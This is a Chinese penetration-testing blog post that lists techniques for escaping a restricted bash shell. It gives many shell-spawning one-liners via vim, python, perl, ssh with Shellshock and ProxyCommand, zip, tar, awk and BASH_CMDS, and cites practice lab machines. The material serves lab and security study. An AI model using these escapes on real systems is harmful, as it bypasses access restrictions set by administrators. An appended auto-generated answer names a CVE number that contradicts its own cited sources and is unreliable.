【渗透测试】--- rbash逃逸方法简述

一、rbash简述

1.什么是rbash

  • 它与一般shell的区别在于会限制一些行为,让一些命令无法执行

2.如何设置一个rbash

cp /bin/bash /bin/rbash # 复制一个bash,重命名为rbash
useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash
mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令

二、枚举Linux环境(为逃逸做信息收集)

1.检查可用的命令

  • 如 cd、ls、su 等

2.检查可用的操作符

>   >>   <   |

3.root身份可以运行的命令

sudo -l # sudo应该也会被禁用

4.检查shell

echo $SHELL	 # 基本都是/bin/rbash

5.检查可用的编程语言

python  perl  ruby 等

6.检查环境变量
执行:env/printenv


三、常见的逃逸技术

1.“/”字符被允许了

  • 如果/被允许我们可以直接运行:/bin/bash

2.cp命令被允许

  • 可以直接复制/bin/bash到本地用户目录
cp /bin/bash test1
cp /bin/sh test2
./test1 # 切换到了/bin/bash
./test2 # 切换到了/bin/sh

3.常见应用
探测系统中是否存在常见应用

  • FTP,GDB(调试程序的工具)等。
    • 执行:ftp > !/bin/sh
    • 执行:gdb > !/bin/sh
  • man/git
    • 执行:man > !/bin/sh
    • 执行:git > git help status
  • vi/vim
> vim test
:!/bin/sh # 利用在vi/vim中可以执行命令的特点
  • more/less
> more test
!/bin/sh # 同样也是利用打开文件后可以在下面运行命令的特点

4、set shell(DC-2靶机使用它成功了)

  • 在一些编辑器中可以设置shell变量然后执行,如vim中
# vim/vi进入之后
:set shell=/bin/sh # 或者用/bin/bash
:shell

# 切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

5.更改PATH或SHELL环境变量

  • 执行:export -p # 查看系统的环境变量设置
  • PATH 和 SHELL 变量的权限设置很可能是:“-rx” ,这就意味着我们只能执行和读取,不能写入。如果有w权限的话,我们可以直接给它写入/bin/bash
    在这里插入图片描述

6.编程语言

  • 语言可以帮助我们切换shell的类型
  • (1) python
python -c "import os;os.system('/bin/bash')"
或者
python -c "import pty;pty.spawn('/bin/bash')"
  • (2) php
php -a then exec("sh -i")
  • (3) perl
perl -e "exec '/bin/sh';"
  • (4) lua
os.execute('/bin/sh')
  • (5) ruby
exec "/bin/sh"

7.其他可以尝试的方法

  • ssh
ssh username@IP -t "/bin/sh" or "/bin/bash"
  • ssh2
ssh username@IP -t "bash --noprofile"
  • ssh3
ssh username@IP -t "() { :; }; /bin/bash" (sehllshock)
  • ssh4
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)
  • zip
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
  • tar
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
  • awk(超级玛丽靶机使用它成功了)
awk 'BEGIN {system("/bin/bash")}' 

8、另类方法(DC-2靶机使用它成功了)

  • 在命令行依次执行如下所示的命令
# 利用bash_cmds自定义一个shell
BASH_CMDS[a]=/bin/sh;a 

# 添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
  • 10
    点赞
  • 59
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
回答: CVE-2022-4492是一个容器逃逸漏洞,也被称为LinuxCgroupContainerEscapeVulnerability。这个漏洞可以允许攻击者在容器内获得root权限,而无需获得CAP_SYS_ADMIN权限。\[2\]为了检测是否受到CVE-2022-4492的影响,您可以使用像Falco这样的运行时检测引擎工具。Falco是一个CNCF孵化项目,可以帮助检测云原生环境中的异常活动。通过使用Falco的规则,您可以检测到尝试利用Linux内核中的容器逃逸漏洞的行为。\[1\]如果您的容器已经投入生产,您可以部署一个图像扫描仪来进行检测。\[1\]另外,为了防止容器逃逸漏洞的利用,建议您采取一些安全措施,如禁用unshare、开启cgroup只读、关闭selinux等。\[2\] #### 引用[.reference_title] - *1* [CVE-2022-0492:权限提升漏洞导致容器逃逸](https://blog.csdn.net/u012516914/article/details/124223796)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [[漏洞分析] CVE-2022-0492 容器逃逸漏洞分析](https://blog.csdn.net/Breeze_CAT/article/details/123427680)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [腾讯云服务器相关问题记录](https://blog.csdn.net/weixin_44633882/article/details/116277812)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值